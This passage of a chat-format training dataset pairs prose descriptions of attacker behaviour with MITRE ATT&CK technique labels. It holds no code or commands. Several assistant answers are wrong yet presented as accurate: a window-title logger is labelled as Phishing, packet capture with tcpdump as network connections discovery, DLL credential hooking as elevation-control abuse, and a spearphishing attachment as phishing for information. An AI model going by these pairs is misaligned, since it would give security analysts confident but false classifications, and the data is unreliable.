                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑login, the malicious code reads the .bash_history file to locate any hard‑coded credentials that were accidentally entered in earlier commands."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group engineers a Trojan horse that can be used to pivot within networks."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware inserts garbage data into memory buffers to hinder memory forensics."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider account on the Windows workstation is used to access sensitive files without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the post‑exploitation phase, the intruder installs a kernel module that replaces the system's random number generator with a predictable source, resulting in the generation of weak cryptographic keys."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a remote administration tool that includes a feature to dump the clipboard and email it."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker discovered a directory traversal vulnerability in a public FTP service, enabling them to read sensitive configuration files."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks the Windows Secure Kernel (SIP) trust chain, allowing elevated privileges without detection."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email delivers a disguised .exe file named \"ResumeUpdater.exe\" that installs a credential stealer upon execution."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor changed the ACL on a critical service's DLL, allowing the attacker to load a malicious library during service startup."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a compromised third‑party library to read session cookies from the browser’s storage and forwards them via an HTTP request."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a compromised external web server to act as a proxy, tunneling their command-and-control traffic through it to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use API calls to update the logging configuration in AWS, setting the log delivery status to \"disabled\" for all S3 bucket access logs."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attempting to list permissions, the hacker runs a command that extracts cloud group information from Oracle OCI."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages compromised credentials to issue an IMAP LIST and FETCH commands, extracting emails."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors develop a fileless malware payload to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary obtains a user's NTLM hash and performs a pass-the-hash attack to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gained access to a vendor's update server and replaced legitimate firmware updates with tampered versions containing a remote access tool."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the Windows Event Log service to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder renamed their ransom payload to \"chrome.exe\" and stored it in the user's AppData\\Local\\Google\\Chrome directory."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated intrusion tampers with the system's UEFI settings to disable the embedded cryptographic chip."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests files from the victim's local hard drive and moves them to a staging folder for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious module leverages WMI to retrieve the BIOS serial number and firmware revision for building a hardware fingerprint."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses compromised hosts as DNS resolvers in a fast-flux architecture to hide the true C2 server."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised corporate laptop runs a hidden daemon that periodically reads the keychain for new credential entries."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the session token, the malicious actor tricks the MFA provider into treating the attacker's login as legitimate and granting access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a remote code execution flaw in a web application firewall to inject malicious scripts that downloaded further exploit modules."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers drop a compiled HTML Help file on the target and use PowerShell to launch it via the Windows HTML application host, achieving code execution while evading detection."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a breach, the adversary configures a reverse proxy to forward traffic to its server, using domain fronting techniques that exploit mismatched TLS SNI and HTTP Host headers."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a utility that translates ROT13‑encoded data within a phishing attachment into readable text."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an intrusion, the attacker registers a malicious Netsh helper DLL under the \"NetshHelper\" service and then invokes \"netsh firewall add rule\" to execute the DLL."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker retrieves DNSSEC records to infer the structure of the target’s domain hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a historic system image on the host, thereby re‑introducing insecure components that facilitate further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious LSASS driver is configured to start at boot, providing the attacker with continuous privileged access."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a compromised corporate Discord channel to post a privileged‑sounding message with a malicious download link."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PTRACE_POKETEXT, the malicious program injects a backdoor into a running service."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes a custom COM DLL that is loaded by a legitimate system service, using it to relay commands between the service and a hidden attacker-controlled process."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries publicly accessible vulnerability databases such as NVD or CVE Details to locate known exploits for software used in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit LC_LOAD_DYLIB addition to inject code via a malicious dynamic library that runs with the privileges of the compromised binary."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a bogus autostart entry to the XDG configuration path (~/.config/autostart) to achieve persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses Windows Dynamic Data Exchange (DDE) to send malicious commands from a compromised process to Microsoft Word, causing the document to execute a PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a rented VPS to host a phishing landing page that captures user credentials."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary ran a Python script that leveraged the os module to enumerate network shares."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the attacker downgrades the SMB encryption settings to use SMBv1 with 56‑bit DES encryption, weakening the confidentiality of data in transit."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign provides fake login pages that capture user credentials, which are then used to log into the organization’s VPN."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals purchased a ransomware-as-a-service subscription to quickly launch encryptions on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker reads the Windows Mail app’s local database to collect emails for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential dumping, the attacker retrieved the KRBTGT hash and generated a Golden Ticket to impersonate any user in the domain."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a compromised domain controller to edit the Group Policy and deploy a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator used 'tcpdump' to capture live network connections for reconnaissance purposes."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool accesses the registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\LogonUI to find the last logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs DLL injection to hook authentication functions and capture credentials during login."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor attaches to a high-privilege daemon with ptrace, modifies its execution flow, and loads malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors encode payloads in ICMP echo requests to establish a covert command channel with infected machines."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the bootloader, the adversary achieves persistence with a rootkit that runs before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the LaunchAgents plist to execute a payload at user login."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator queries the operating system for a snapshot of live network connections to locate potential pivot points."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a DNS reflection attack, sending forged DNS queries to open resolvers that amplify traffic back to the target."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor captures the current active window title and stores it alongside a timestamp in a local CSV file."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest email attachments by reading the Maildir folders on compromised Linux machines."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages data on a remote server by creating a hidden directory and uploading files via SCP."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explain how an attacker would use social engineering to trick an employee into revealing sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute malicious code by running InstallUtil.exe with a crafted assembly to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code installed a packet sniffer to intercept credentials on the LAN."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom authentication package is registered via the AuthPackage registry key, enabling the malware to run every time a user authenticates."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts saved email credentials from the Windows Credential Manager and then logs into the victim's Gmail account to download messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team performed credential dumping from a compromised Azure AD tenant and used Azure CLI to start remote shell sessions on Azure VMs."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script changes the values of in-memory authentication tokens, allowing unauthorized access to privileged actions."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses compromised service account passwords to access privileged services on the network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries monitor vendor security advisories to identify exploitable bugs they can weaponize later."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals distribute a malicious Microsoft Teams invitation containing a link that leads to a credential‑phishing site."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a credential dumping tool that also spawns a new local user to ensure continued access."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware gathers BIOS details, hostname, and user account information before proceeding with further actions."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries the Microsoft Azure Instance Metadata Service (IMDS) for 'location' fields to discover the VM's region."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvested data from a Windows file share using UNC paths."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors acquire a compromised third‑party web service to host their malicious payloads, using it to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
